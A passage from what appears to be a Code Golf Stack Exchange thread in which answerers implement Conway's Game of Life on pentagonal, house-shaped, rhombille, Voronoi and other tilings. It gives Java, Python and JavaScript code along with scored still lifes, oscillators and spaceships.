canvas.draw(info.allShapes); } public void setUp(){ int[] boxes = new int[]{2,3,4,6,7,8}; for(int box:boxes){ info.allShapes[8][12][box-1] = 1; info.allShapes[9][13][box-1] = 1; info.allShapes[8][14][box-1] = 1; info.allShapes[9][15][box-1] = 1; } } public void update() { ArrayList<Coordinate> dieList = new ArrayList<Coordinate>(); ArrayList<Coordinate> appearList = new ArrayList<Coordinate>(); for (int x = 0; x < canvas.squaresWide; x++) { for (int y = 0; y < canvas.squaresHigh; y++) { for(int position = 0;position <9;position++){ int alive = info.allShapes[x][y][position]; int touching = info.shapesTouching(x, y, position+1); if(touching!=0){ } if(alive == 1){ if(touching < 2 || touching > 3){ //cell dies dieList.add(new Coordinate(x,y,position)); } } else{ if(touching == 3){ //cell appears appearList.add(new Coordinate(x,y,position)); } } } } } for(Coordinate die:dieList){ info.allShapes[die.x][die.y][die.position] = 0; } for(Coordinate live:appearList){ info.allShapes[live.x][live.y][live.position] = 1; } } boolean firstDraw = true; int ticks = 0; ActionListener listener = new ActionListener() { @Override public void actionPerformed(ActionEvent arg0) { canvas.draw(info.allShapes); if(ticks !=0){ update(); } ticks++; } }; } ``` Canvas class - ``` import java.awt.Color; import java.awt.Graphics; import java.awt.Polygon; import java.util.ArrayList; import javax.swing.JPanel; public class Canvas extends JPanel { private static final long serialVersionUID = 1L; public int squaresWide = 30; public int squaresHigh = 30; public int size = 4; ArrayList<PolygonInfo> polygons = new ArrayList<PolygonInfo>(); boolean drawTessalationOnly = true; private int[][][] shapes; public void draw(int[][][] shapes2) { shapes = shapes2; drawTessalationOnly = false; this.repaint(); } @Override protected void paintComponent(Graphics g) { //System.out.println("drawing"); polygons.clear(); super.paintComponent(g); g.setColor(Color.black); // draw tessellation for (int x = 0; x < squaresWide; x++) { for (int y = 0; y < squaresHigh; y++) { for (int position = 1; position <= 9; position++) { // System.out.println("position = " + position); Polygon p = new Polygon(); int points = 0; int[] xc = new int[] {}; int[] yc = new int[] {}; if (position == 1) { xc = new int[] { 0, -2, 0, 2 }; yc = new int[] { 2, 0, -2, 0 }; points = 4; } if (position == 2) { xc = new int[] { 2, 6, 7, 4, 1 }; yc = new int[] { 0, 0, 1, 2, 1 }; points = 5; } if (position == 3) { xc = new int[] { 1, 4, 4, 2 }; yc = new int[] { 1, 2, 4, 4 }; points = 4; } if (position == 4) { xc = new int[] { 4, 4, 7, 6 }; yc = new int[] { 4, 2, 1, 4 }; points = 4; } if (position == 5) { xc = new int[] { 1, 2, 1, 0, 0 }; yc = new int[] { 1, 4, 7, 6, 2 }; points = 5; } if (position == 6) { xc = new int[] { 7, 8, 8, 7, 6 }; yc = new int[] { 1, 2, 6, 7, 4 }; points = 5; } if (position == 7) { xc = new int[] { 4, 2, 1, 4 }; yc = new int[] { 4, 4, 7, 6 }; points = 4; } if (position == 8) { xc = new int[] { 4, 6, 7, 4 }; yc = new int[] { 4, 4, 7, 6 }; points = 4; } if (position == 9) { xc = new int[] { 4, 7, 6, 2, 1 }; yc = new int[] { 6, 7, 8, 8, 7 }; points = 5; } int[] finalX = new int[xc.length]; int[] finalY = new int[yc.length]; for (int i = 0; i < xc.length; i++) { int xCoord = xc[i]; xCoord = (xCoord + (8 * x)) * size; finalX[i] = xCoord; } for (int i = 0; i < yc.length; i++) { int yCoord = yc[i]; yCoord = (yCoord + (8 * y)) * size; finalY[i] = yCoord; } p.xpoints = finalX; p.ypoints = finalY; p.npoints = points; polygons.add(new PolygonInfo(p,x,y,position)); // for(int i = 0;i<p.npoints;i++){ // / System.out.println("(" + p.xpoints[i] + "," + // p.ypoints[i] + ")"); // } if (drawTessalationOnly == false) { if (shapes[x][y][position - 1] == 1) { g.fillPolygon(p); } else { g.drawPolygon(p); } } else { g.drawPolygon(p); } } } } } } ``` ShapeInfo class - ``` public class ShapeInfo { int[][][] allShapes; //first 2 dimensions are coordinates of large square, last is boolean - if shaded int width = 20; int height = 20; public ShapeInfo(int width,int height){ allShapes = new int[width][height][16]; for(int[][] i:allShapes){ for(int[] h:i){ for(int g:h){ g=0; } } } } public int shapesTouching(int x,int y,int position){ int t = 0; if(x>0 && y >0 && x < width-1 && y < height-1){ if(position == 1){ if(allShapes[x][y][2-1] == 1){t++;} if(allShapes[x][y][5-1] == 1){t++;} if(allShapes[x-1][y][6-1] == 1){t++;} if(allShapes[x-1][y][2-1] == 1){t++;} if(allShapes[x][y-1][5-1] == 1){t++;} if(allShapes[x][y-1][9-1] == 1){t++;} if(allShapes[x-1][y-1][9-1] == 1){t++;} if(allShapes[x-1][y-1][6-1] == 1){t++;} if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x-1][y][4-1] == 1){t++;} if(allShapes[x][y-1][7-1] == 1){t++;} if(allShapes[x-1][y-1][8-1] == 1){t++;} } if(position == 2){ if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x][y][4-1] == 1){t++;} if(allShapes[x][y][1-1] == 1){t++;} if(allShapes[x][y-1][9-1] == 1){t++;} if(allShapes[x+1][y][1-1] == 1){t++;} if(allShapes[x][y][6-1] == 1){t++;} if(allShapes[x][y][5-1] == 1){t++;} } if(position == 3){ if(allShapes[x][y][2-1] == 1){t++;} if(allShapes[x][y][5-1] == 1){t++;} if(allShapes[x][y][4-1] == 1){t++;} if(allShapes[x][y][7-1] == 1){t++;} if(allShapes[x][y][1-1] == 1){t++;} if(allShapes[x][y][8-1] == 1){t++;} } if(position == 4){ if(allShapes[x][y][2-1] == 1){t++;} if(allShapes[x][y][6-1] == 1){t++;} if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x][y][8-1] == 1){t++;} if(allShapes[x][y][7-1] == 1){t++;} if(allShapes[x+1][y][1-1] == 1){t++;} } if(position == 5){ if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x][y][7-1] == 1){t++;} if(allShapes[x][y][1-1] == 1){t++;} if(allShapes[x][y+1][1-1] == 1){t++;} if(allShapes[x-1][y][6-1] == 1){t++;} if(allShapes[x][y][2-1] == 1){t++;} if(allShapes[x][y][9-1] == 1){t++;} } if(position == 6){ if(allShapes[x][y][4-1] == 1){t++;} if(allShapes[x][y][8-1] == 1){t++;} if(allShapes[x+1][y][1-1] == 1){t++;} if(allShapes[x+1][y][5-1] == 1){t++;} if(allShapes[x+1][y+1][1-1] == 1){t++;} if(allShapes[x][y][2-1] == 1){t++;} if(allShapes[x][y][9-1] == 1){t++;} } if(position == 7){ if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x][y][8-1] == 1){t++;} if(allShapes[x][y][5-1] == 1){t++;} if(allShapes[x][y][9-1] == 1){t++;} if(allShapes[x][y][4-1] == 1){t++;} if(allShapes[x][y+1][1-1] == 1){t++;} } if(position == 8){ if(allShapes[x][y][9-1] == 1){t++;} if(allShapes[x][y][6-1] == 1){t++;} if(allShapes[x][y][7-1] == 1){t++;} if(allShapes[x][y][4-1] == 1){t++;} if(allShapes[x][y][3-1] == 1){t++;} if(allShapes[x+1][y+1][1-1] == 1){t++;} } if(position == 9){ if(allShapes[x][y][7-1] == 1){t++;} if(allShapes[x][y][8-1] == 1){t++;} if(allShapes[x+1][y+1][1-1] == 1){t++;} if(allShapes[x][y+1][2-1] == 1){t++;} if(allShapes[x][y+1][1-1] == 1){t++;} if(allShapes[x][y][6-1] == 1){t++;} if(allShapes[x][y][5-1] == 1){t++;} } } return t; } } ``` PolygonInfo class - ``` import java.awt.Polygon; public class PolygonInfo { public Polygon polygon; public int x; public int y; public int position; public PolygonInfo(Polygon p,int X,int Y,int Position){ x = X; y = Y; polygon = p; position = Position; } } ``` and finally... Coordinate class ``` public class Coordinate { int x; int y; int position; public Coordinate(int X,int Y, int Position){ x=X; y=Y; position = Position; } } ``` [Answer] # Python I place multiple points on a metatile, which is then copied periodically in a rectangular or hexagonal tiling (the metatiles are allowed to overlap). From the set of all points i then compute the Voronoi diagram which makes up my grid. # Some older examples Random graph, the Delaunay trinagulation is shown which is also used internally to find the neighbours ![Graph of Life](https://i.stack.imgur.com/8pN43.gif) A periodic tiling which spells `GoL` ![enter image description here](https://i.stack.imgur.com/j4x2C.gif) Some more grids showing still lifes ![enter image description here](https://i.stack.imgur.com/ebfK9.png) For any such grid there is a huge amount of still lifes with a wide variety of sizes, and some small 2-, 3- or 5-cycle oscillators, but I haven't found any gliders, probably due to the irregularities of the grid. I think about automatizing the search for lifeforms by checking cells for periodic oscillations. ``` import networkx as nx from scipy.spatial import Delaunay, Voronoi from scipy.spatial._plotutils import _held_figure, _adjust_bounds from numpy import * import matplotlib.pyplot as plt # copied from scipy.spatial._plotutils @_held_figure def voronoi_plot_2d(vor, ax=None): for simplex in vor.ridge_vertices: simplex = asarray(simplex) if all(simplex >= 0): ax.plot(vor.vertices[simplex,0], vor.vertices[simplex,1], 'k-') center = vor.points.mean(axis=0) _adjust_bounds(ax, vor.points) return ax.figure def maketilegraph(tile, offsetx, offsety, numx, numy, hexa=0): # tile: list of (x,y) coordinates # hexa=0: rectangular tiling # hexa=1: hexagonal tiling R = array([offsetx,0]) U = array([0,offsety]) - hexa*R/2 points = concatenate( [tile+n*R for n in range(numx)]) points = concatenate( [points+n*U for n in range(numy)]) pos = dict(enumerate(points)) D = Delaunay(points) graph = nx.Graph() for tri in D.vertices: graph.add_cycle(tri) return graph, pos, Voronoi(points) def rule(old_state, Nalive): if Nalive<2: old_state = 0 if Nalive==3: old_state = 1 if Nalive>3: old_state = 0 return old_state def propagate(graph): for n in graph: # compute the new state Nalive = sum([graph.node[m]['alive'] for m in graph.neighbors(n)]) graph.node[n]['alive_temp'] = rule(graph.node[n]['alive'], Nalive) for n in graph: # apply the new state graph.node[n]['alive'] = graph.node[n]['alive_temp'] def drawgraph(graph): nx.draw_networkx_nodes(graph,pos, nodelist=[n for n in graph if graph.node[n]['alive']], node_color='k', node_size=150) # nx.draw_networkx_nodes(graph,pos, # nodelist=[n for n in graph if not graph.node[n]['alive']], # node_color='y', node_size=25, alpha=0.5) # nx.draw_networkx_edges(graph,pos, width=1, alpha=0.2, edge_color='b') ################## # Lets get started p_alive = 0.4 # initial fill ratio #tile = random.random((6,2)) a = [.3*exp(2j*pi*n/5) for n in range(5)] +[.5+.5j, 0] tile = array(zip(real(a), imag(a))) grid, pos, vor = maketilegraph(tile, 1.,1.,8,8, hexa=1) for n in grid: # initial fill grid.node[n]['alive'] = random.random() < p_alive #random fill # grid.node[n]['alive'] = n%5==0 or n%3==0 # periodic fill for i in range(45):propagate(grid) # run until convergence for i in range(7): print i voronoi_plot_2d(vor) drawgraph(grid) plt.axis('off') plt.savefig('GoL %.3d.png'%i, bbox_inches='tight') plt.close() propagate(grid) ``` [Answer] # Javascript [25+?] <http://jsfiddle.net/Therm/dqb2h2oc/> ![enter image description here](https://i.stack.imgur.com/Z8gb9.gif) House tessellations! There are two shapes: "House" and "Upsidedown House", each with 7 neighbors. Currently I have a score of 25. ``` still life : +2 2-stage oscillator "beacon" : +3 (Credit to isaacg) Spaceship "Toad" : +10 (Credit to isaacg) Glider : +10 (Credit to Martin Büttner) ``` Naming rights for patterns up for grabs if you find them :p Still life - Star ![Star](https://i.stack.imgur.com/0NMyq.png) 2 Stage oscillator - "Beacon" : Found by isaacg ![2stagOscillator](https://i.stack.imgur.com/pRh5F.gif) Spaceship - "Toad": Found by isaacg ![enter image description here](https://i.stack.imgur.com/EzW2A.gif) Glider - Unnamed: Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/i8PPb.gif) The fiddle is currently set to randomly populate the world as an initial state. Code: ``` // An animation similar to Conway's Game of Life, using house-tessellations. // B2/S23 var world; var worldnp1; var intervalTime = 2000; var canvas = document.getElementById('c'); var context = canvas.getContext('2d'); var x = 32; var y = 32; var width = 20; // width of house var height = 15; // height of house base var theight = 5; // height of house roof var deadC = '#3300FF'; var aliveC = '#00CCFF'; function initWorld() { world = new Array(x * y); /* Still life - box world[x/2 * y + y/2 + 1] = 1; world[x/2 * y + y/2] = 1; world[x/2 * y + y/2 + y] = 1; world[x/2 * y + y/2 + y + 1] = 1; */ /* Still life - House world[x/2 * y + y/2 - y] = 1; world[x/2 * y + y/2 + 1] = 1; world[x/2 * y + y/2 - 1] = 1; world[x/2 * y + y/2 + y] = 1; world[x/2 * y + y/2 + y+1] = 1; */ /* Oscillator on an infinite plane :( for(var i=0; i<y; i++) { world[y/2 * y + i] = 1 ^ (i%2); world[y/2 * y + y + i] = 1 ^ (i%2); } */ // Random state for(var i=0; i<x*y; i++) { world[i] = Math.round(Math.random()); } drawGrid(); } animateWorld = function () { computeNP1(); drawGrid(); }; function computeNP1() { worldnp1 = new Array(x * y); var buddies; for (var i = 0; i < x * y; i++) { buddies = getNeighbors(i); var aliveBuddies = 0; for (var j = 0; j < buddies.length; j++) { if (world[buddies[j]]) { aliveBuddies++; } } if (world[i]) { if (aliveBuddies === 2 || aliveBuddies === 3) { worldnp1[i] = 1; } } else { if (aliveBuddies === 3) { worldnp1[i] = 1; } } } world = worldnp1.slice(0); } function drawGrid() { var dx = 0; var dy = 0; var shiftLeft = 0; var pointDown = 0; for (var i = 0; i < y; i++) { // yay XOR shiftLeft ^= pointDown; pointDown ^= 1; if (shiftLeft) { dx -= width / 2; } for (var j = 0; j < x; j++) { var c = world[i * y + j] ? aliveC : deadC ; draw5gon(dx, dy, pointDown, c); outline5gon(dx, dy, pointDown); dx += width; } dx = 0; if (pointDown) { dy += 2 * height + theight; } } } function getNeighbors(i) { neighbors = []; // Everybody has a L/R neighbor if (i % x !== 0) { neighbors.push(i - 1); } if (i % x != x - 1) { neighbors.push(i + 1); } // Everybody has "U/D" neighbor neighbors.push(i - x); neighbors.push(i + x); // Down facers (R1) if (Math.floor(i / x) % 4 === 0) { if (i % x !== 0) { neighbors.push(i - x - 1); } if (i % x != x - 1) { neighbors.push(i - x + 1); neighbors.push(i + x + 1); } } // Up facers (R2) else if (Math.floor(i / x) % 4 === 1) { if (i % x !== 0) { neighbors.push(i - x - 1); neighbors.push(i + x - 1); } if (i % x != x - 1) { neighbors.push(i + x + 1); } } // Down facers (R3) else if (Math.floor(i / x) % 4 === 2) { if (i % x !== 0) { neighbors.push(i - x - 1); neighbors.push(i + x - 1); } if (i % x != x - 1) { neighbors.push(i - x + 1); } } // Up facers (R4) // else if ( Math.floor(i/x) % 4 === 3 ) else { if (i % x !== 0) { neighbors.push(i + x - 1); } if (i % x != x - 1) { neighbors.push(i - x + 1); neighbors.push(i + x + 1); } } return neighbors.filter(function (val, ind, arr) { return (0 <= val && val < x * y); }); } // If pointdown, x,y refer to top left corner // If not pointdown, x,y refers to lower left corner function draw5gon(x, y, pointDown, c) { if (pointDown) { drawRect(x, y, width, height, c); drawTriangle(x, y + height, x + width, y + height, x + width / 2, y + height + theight); } else { drawRect(x, y - height, width, height, c); drawTriangle(x, y - height, x + width / 2, y - height - theight, x + width, y - height); } } function outline5gon(x, y, pointDown) { context.beginPath(); context.moveTo(x, y); if (pointDown) { context.lineTo(x + width, y); context.lineTo(x + width, y + height); context.lineTo(x + width / 2, y + height + theight); context.lineTo(x, y + height); } else { context.lineTo(x, y - height); context.lineTo(x + width / 2, y - height - theight); context.lineTo(x + width, y - height); context.lineTo(x + width, y); } context.lineWidth = 3; context.strokeStyle = '#000000'; context.stroke(); } function drawRect(x, y, w, h, c) { context.fillStyle = c; context.fillRect(x, y, w, h); } function drawTriangle(x1, y1, x2, y2, x3, y3, c) { context.beginPath(); context.moveTo(x1, y1); context.lineTo(x2, y2); context.lineTo(x3, y3); context.fillStyle = c; context.fill(); } $(document).ready(function () { initWorld(); intervalID = window.setInterval(animateWorld, intervalTime); }); ``` [Answer] # Javascript [27+?] <http://jsfiddle.net/Therm/5n53auja/> Round 2! Now with hexagons, squares, and triangles. *And interactivity* This version supports clicking tiles to toggle their state, for you pattern hunters out there. Note: Some of the click handling may be a bit wonky, especially for low values of `s`, as click events are tracked as integers but calculations are done with floating point values ![enter image description here](https://i.stack.imgur.com/x3GvQ.gif) Current score - 24 ``` Still life : +2 Period 2 oscillator : +3 Period 4 oscillator : +3 Period 6 oscillator : +3 Period 10 oscillator : +3 Period 12 oscillator : +3 Spaceship : +10 ``` Period 4 oscillator : Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/eb5fv.gif) Period 6 oscillator : Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/jFqFw.gif) Period 10 oscillator: Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/8eew4.gif) Period 12 oscillator : Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/nI274.gif) Period 20 spaceship : Found by Martin Büttner ![enter image description here](https://i.stack.imgur.com/WURtM.gif) [Answer] ## [Cairo pentagonal tiling](http://en.wikipedia.org/wiki/Cairo_pentagonal_tiling) (+ generic framework), 17+ points This tiling is surprisingly easy to draw: the key is that the only irrational number which is important for drawing it, `sqrt(3)`, is very close to the rational number `7/4`, which has the added bonus that if you subtract `1` from the numerator and denominator you get `6/3 = 2`, so that the non-axis-aligned lines are nicely symmetric. If you want grid paper, I've created a [PostScript gist](https://gist.github.com/pjt33/c24507d183723c7690e4) for A4. Feel free to fork it for other paper sizes. The code is generic enough to support other tilings. The interface which needs to be implemented is: ``` import java.util.Set; interface Tiling<Cell> { /** Calculates the neighbourhood, which should not include the cell itself. */ public Set<Cell> neighbours(Cell cell); /** Gets an array {xs, ys} of polygon vertices. */ public int[][] bounds(Cell cell); /** Starting cell for random generation. This doesn't need to be consistent. */ public Cell initialCell(); /** Allows exclusion of common oscillations in random generation. */ public boolean isInterestingOscillationPeriod(int period); /** Parse command-line input. */ public Set<Cell> parseCells(String[] data); } ``` Then the Cairo tiling is: ``` import java.awt.Point; import java.util.*; /** * http://en.wikipedia.org/wiki/Cairo_pentagonal_tiling */ class CairoTiling implements Tiling<Point> { private static final int[][] SHAPES_X = new int[][] { { 0, 4, 11, 11, 4 }, { 11, 4, 8, 14, 18 }, { 11, 18, 14, 8, 4 }, { 22, 18, 11, 11, 18 } }; private static final int[][] SHAPES_Y = new int[][] { { 0, 7, 3, -3, -7 }, { 3, 7, 14, 14, 7 }, { -3, -7, -14, -14, -7 }, { 0, -7, -3, 3, 7 } }; public Set<Point> neighbours(Point cell) { Set<Point> neighbours = new HashSet<Point>(); int exclx = (cell.y & 1) == 0 ? -1 : 1; int excly = (cell.x & 1) == 0 ? -1 : 1; for (int dx = -1; dx <= 1; dx++) { for (int dy = -1; dy <= 1; dy++) { if (dx == 0 && dy == 0) continue; if (dx == exclx && dy == excly) continue; neighbours.add(new Point(cell.x + dx, cell.y + dy)); } } return neighbours; } public int[][] bounds(Point cell) { int x = cell.x, y = cell.y; int[] xs = SHAPES_X[(x & 1) + 2 * (y & 1)].clone(); int[] ys = SHAPES_Y[(x & 1) + 2 * (y & 1)].clone(); int xoff = 7 * (x & ~1) + 7 * (y & ~1); int yoff = 7 * (x & ~1) - 7 * (y & ~1); for (int i = 0; i < 5; i++) { xs[i] += xoff; ys[i] += yoff; } return new int[][] { xs, ys }; } public Point initialCell() { return new Point(0, 0); } public boolean isInterestingOscillationPeriod(int period) { // Period 6 oscillators are extremely common, and period 2 fairly common. return period != 2 && period != 6; } public Set<Point> parseCells(String[] data) { if ((data.length & 1) == 1) throw new IllegalArgumentException("Expect pairs of integers"); Set<Point> cells = new HashSet<Point>(); for (int i = 0; i < data.length; i += 2) { cells.add(new Point(Integer.parseInt(data[i]), Integer.parseInt(data[i + 1]))); } return cells; } } ``` and the control code is ``` import java.awt.*; import java.awt.image.*; import java.io.*; import java.util.*; import java.util.List; import javax.imageio.*; import javax.imageio.metadata.*; import javax.imageio.stream.*; import org.w3c.dom.Node; /** * Implements a Life-like cellular automaton on a generic grid. * http://codegolf.stackexchange.com/q/35827/194 * * TODOs: * - Allow a special output format for gliders which moves the bounds at an appropriate speed and doesn't extend the last frame * - Allow option to control number of generations */ public class GenericLife { private static final Color GRIDCOL = new Color(0x808080); private static final Color DEADCOL = new Color(0xffffff); private static final Color LIVECOL = new Color(0x0000ff); private static final int MARGIN = 15; private static void usage() { System.out.println("Usage: java GenericLife <tiling> [<output.gif> <cell-data>]"); System.out.println("For CairoTiling, cell data is pairs of integers"); System.out.println("For random search, supply just the tiling name"); System.exit(1); } // Unchecked warnings due to using reflection to instantation tiling over unknown cell type @SuppressWarnings("unchecked") public static void main(String[] args) throws Exception { if (args.length == 0 || args[0].equals("--help")) usage(); Tiling tiling = (Tiling)Class.forName(args[0]).newInstance(); if (args.length > 1) { String[] cellData = new String[args.length - 2]; System.arraycopy(args, 2, cellData, 0, cellData.length); Set alive; try { alive = tiling.parseCells(cellData); } catch (Exception ex) { usage(); return; } createAnimatedGif(args[1], tiling, evolve(tiling, alive, 100)); } else search(tiling); } private static <Cell> void search(Tiling<Cell> tiling) throws IOException { while (true) { // Build a starting generation within a certain radius of the initial cell. // This is a good place to tweak. Set<Cell> alive = new HashSet<Cell>(); double density = Math.random(); Set<Cell> visited = new HashSet<Cell>(); Set<Cell> boundary = new HashSet<Cell>(); boundary.add(tiling.initialCell()); for (int r = 0; r < 10; r++) { visited.addAll(boundary); Set<Cell> nextBoundary = new HashSet<Cell>(); for (Cell cell : boundary) { if (Math.random() < density) alive.add(cell); for (Cell neighbour : tiling.neighbours(cell)) { if (!visited.contains(neighbour)) nextBoundary.add(neighbour); } } boundary = nextBoundary; } final int MAX = 1000; List<Set<Cell>> gens = evolve(tiling, alive, MAX); // Long-lived starting conditions might mean a glider, so are interesting. boolean interesting = gens.size() == MAX; String desc = "gens-" + MAX; if (!interesting) { // We hit some oscillator - but was it an interesting one? int lastGen = gens.size() - 1; gens = evolve(tiling, gens.get(lastGen), gens.size()); if (gens.size() > 1) { int period = gens.size() - 1; desc = "oscillator-" + period; interesting = tiling.isInterestingOscillationPeriod(period); System.out.println("Oscillation of period " + period); } else { String result = gens.get(0).isEmpty() ? "Extinction" : "Still life"; System.out.println(result + " at gen " + lastGen); } } if (interesting) { String filename = System.getProperty("java.io.tmpdir") + "/" + tiling.getClass().getSimpleName() + "-" + System.nanoTime() + "-" + desc + ".gif"; createAnimatedGif(filename, tiling, gens); System.out.println("Wrote " + gens.size() + " generations to " + filename); } } } private static <Cell> List<Set<Cell>> evolve(Tiling<Cell> tiling, Set<Cell> gen0, int numGens) { Map<Set<Cell>, Integer> firstSeen = new HashMap<Set<Cell>, Integer>(); List<Set<Cell>> gens = new ArrayList<Set<Cell>>(); gens.add(gen0); firstSeen.put(gen0, 0); Set<Cell> alive = gen0; for (int gen = 1; gen < numGens; gen++) { if (alive.size() == 0) break; Set<Cell> nextGen = nextGeneration(tiling, alive); Integer prevSeen = firstSeen.get(nextGen); if (prevSeen != null) { if (gen - prevSeen > 1) gens.add(nextGen); // Finish the loop. break; } alive = nextGen; gens.add(alive); firstSeen.put(alive, gen); } return gens; } private static <Cell> void createAnimatedGif(String filename, Tiling<Cell> tiling, List<Set<Cell>> gens) throws IOException { OutputStream out = new FileOutputStream(filename); ImageWriter imgWriter = ImageIO.getImageWritersByFormatName("gif").next(); ImageOutputStream imgOut = ImageIO.createImageOutputStream(out); imgWriter.setOutput(imgOut); imgWriter.prepareWriteSequence(null); Rectangle bounds = bbox(tiling, gens); Set<Cell> gen0 = gens.get(0); int numGens = gens.size(); for (int gen = 0; gen < numGens; gen++) { Set<Cell> alive = gens.get(gen); // If we have an oscillator which loops cleanly back to the start, skip the last frame. if (gen > 0 && alive.equals(gen0)) break; writeGifFrame(imgWriter, render(tiling, bounds, alive), gen == 0, gen == numGens - 1); } imgWriter.endWriteSequence(); imgOut.close(); out.close(); } private static <Cell> Rectangle bbox(Tiling<Cell> tiling, Collection<? extends Collection<Cell>> gens) { Rectangle bounds = new Rectangle(-1, -1); Set<Cell> allGens = new HashSet<Cell>(); for (Collection<Cell> gen : gens) allGens.addAll(gen); for (Cell cell : allGens) { int[][] cellBounds = tiling.bounds(cell); int[] xs = cellBounds[0], ys = cellBounds[1]; for (int i = 0; i < xs.length; i++) bounds.add(xs[i], ys[i]); } bounds.grow(MARGIN, MARGIN); return bounds; } private static void writeGifFrame(ImageWriter imgWriter, BufferedImage img, boolean isFirstFrame, boolean isLastFrame) throws IOException { IIOMetadata metadata = imgWriter.getDefaultImageMetadata(new ImageTypeSpecifier(img), null); String metaFormat = metadata.getNativeMetadataFormatName(); Node root = metadata.getAsTree(metaFormat); IIOMetadataNode grCtlExt = findOrCreateNode(root, "GraphicControlExtension"); grCtlExt.setAttribute("delayTime", isLastFrame ? "1000" : "30"); // Extra delay for last frame grCtlExt.setAttribute("disposalMethod", "doNotDispose"); if (isFirstFrame) { // Configure infinite looping. IIOMetadataNode appExts = findOrCreateNode(root, "ApplicationExtensions"); IIOMetadataNode appExt = findOrCreateNode(appExts, "ApplicationExtension"); appExt.setAttribute("applicationID", "NETSCAPE"); appExt.setAttribute("authenticationCode", "2.0"); appExt.setUserObject(new byte[] { 1, 0, 0 }); } metadata.setFromTree(metaFormat, root); imgWriter.writeToSequence(new IIOImage(img, null, metadata), null); } private static IIOMetadataNode findOrCreateNode(Node parent, String nodeName) { for (Node child = parent.getFirstChild(); child != null; child = child.getNextSibling()) { if (child.getNodeName().equals(nodeName)) return (IIOMetadataNode)child; } IIOMetadataNode node = new IIOMetadataNode(nodeName); parent.appendChild(node); return node ; } private static <Cell> Set<Cell> nextGeneration(Tiling<Cell> tiling, Set<Cell> gen) { Map<Cell, Integer> neighbourCount = new HashMap<Cell, Integer>(); for (Cell cell : gen) { for (Cell neighbour : tiling.neighbours(cell)) { Integer curr = neighbourCount.get(neighbour); neighbourCount.put(neighbour, 1 + (curr == null ? 0 : curr.intValue())); } } Set<Cell> nextGen = new HashSet<Cell>(); for (Map.Entry<Cell, Integer> e : neighbourCount.entrySet()) { if (e.getValue() == 3 || (e.getValue() == 2 && gen.contains(e.getKey()))) { nextGen.add(e.getKey()); } } return nextGen; } private static <Cell> BufferedImage render(Tiling<Cell> tiling, Rectangle bounds, Collection<Cell> alive) { // Create a suitable paletted image int width = bounds.width; int height = bounds.height; byte[] data = new byte[width * height]; int[] pal = new int[]{ GRIDCOL.getRGB(), DEADCOL.getRGB(), LIVECOL.getRGB() }; ColorModel colourModel = new IndexColorModel(8, pal.length, pal, 0, false, -1, DataBuffer.TYPE_BYTE); DataBufferByte dbb = new DataBufferByte(data, width * height); WritableRaster raster = Raster.createPackedRaster(dbb, width, height, width, new int[]{0xff}, new Point(0, 0)); BufferedImage img = new BufferedImage(colourModel, raster, true, null); Graphics g = img.createGraphics(); // Render the tiling. // We assume that either one of the live cells or the "initial cell" is in bounds. Set<Cell> visited = new HashSet<Cell>(); Set<Cell> unvisited = new HashSet<Cell>(alive); unvisited.add(tiling.initialCell()); while (!unvisited.isEmpty()) { Iterator<Cell> it = unvisited.iterator(); Cell current = it.next(); it.remove(); visited.add(current); Rectangle cellBounds = new Rectangle(-1, -1); int[][] cellVertices = tiling.bounds(current); int[] xs = cellVertices[0], ys = cellVertices[1]; for (int i = 0; i < xs.length; i++) { cellBounds.add(xs[i], ys[i]); xs[i] -= bounds.x; ys[i] -= bounds.y; } if (!bounds.intersects(cellBounds)) continue; g.setColor(alive.contains(current) ? LIVECOL : DEADCOL); g.fillPolygon(xs, ys, xs.length); g.setColor(GRIDCOL); g.drawPolygon(xs, ys, xs.length); for (Cell neighbour : tiling.neighbours(current)) { if (!visited.contains(neighbour)) unvisited.add(neighbour); } } return img; } } ``` Any vertex generates a **still life** (2 points): ``` java GenericLife CairoTiling stilllife.gif 0 0 0 1 1 1 3 2 3 3 4 2 4 3 ``` ![Still life](https://i.stack.imgur.com/7yRYX.gif) **Oscillators** (15 points): clockwise from top-left we have orders 2, 3, 4, 6, 11, 12. ![Assorted oscillators](https://i.stack.imgur.com/BYvtb.gif) [Answer] ## Rhombille (30+ points) This grid has quite high connectivity (each cell has 10 neighbours), and curiously this seems to contribute more effectively to birth than to death. Most random grids seem to trigger **infinite growth** (25 points); e.g. this 5-cell starting position: ![Starting position](https://i.stack.imgur.com/SVurf.gif) evolves over 300 generations into something enormous: ![Evolution of that starting position](https://i.stack.imgur.com/JhKMw.gif) and the population grows quadratically with the generation for at least 3000 generations. Perhaps this is why I've only found one **oscillator**, of period 2 (3 points): ![3-cell oscillator](https://i.stack.imgur.com/6pZqK.gif) As for **still life** (2 points): take any 4 cells around a single vertex. The code (use with the generic framework and `AbstractLattice` classes I posted in earlier answers): ``` public class Rhombille extends AbstractLattice { public Rhombille() { super(14, 0, 7, 12, new int[][] { {0, 7, 14, 7}, {0, 7, 7, 0}, {7, 14, 14, 7} }, new int[][] { {0, 4, 0, -4}, {0, -4, -12, -8}, {-4, 0, -8, -12} }); } @Override public boolean isInterestingOscillationPeriod(int period) { return period != 2; } } ``` [Answer] ## [Rhombitrihexagonal tiling](http://en.wikipedia.org/wiki/Rhombitrihexagonal_tiling), 17+ points As requested by Martin Büttner. **Still life** (2 points): ![A chain with two loops](https://i.stack.imgur.com/uDe22.gif) **Oscillators** of periods (clockwise from top-left) 2, 4, 5, 6, 11 (15 points): ![Various oscillators](https://i.stack.imgur.com/paDbX.gif) In general an oscillator has a set of cells which change (the *core*), a set of cells which neighbour the core (the *cladding*), and a set of cells which keep the cladding from changing (the *support*). With this tiling, the support of the oscillators can sometimes overlap: e.g. ![4-oscillator and 5-oscillator with overlapping support](https://i.stack.imgur.com/bSI67.gif) If the 4-oscillator were removed, the support of the 5-oscillator would fail and it would eventually evolve into a 2-oscillator. But if the 5-oscillator were removed, the support of the 4-oscillator would simply add one hex and stabilise, so this isn't really a 20-oscillator. --- The code which implements this tiling is extremely generic: building on my experience with an aperiodic tiling, I realised that expanding to a known boundary and doing a lookup by vertex is a very flexible technique, albeit possibly not efficient for simple lattices. But since we're interested in more 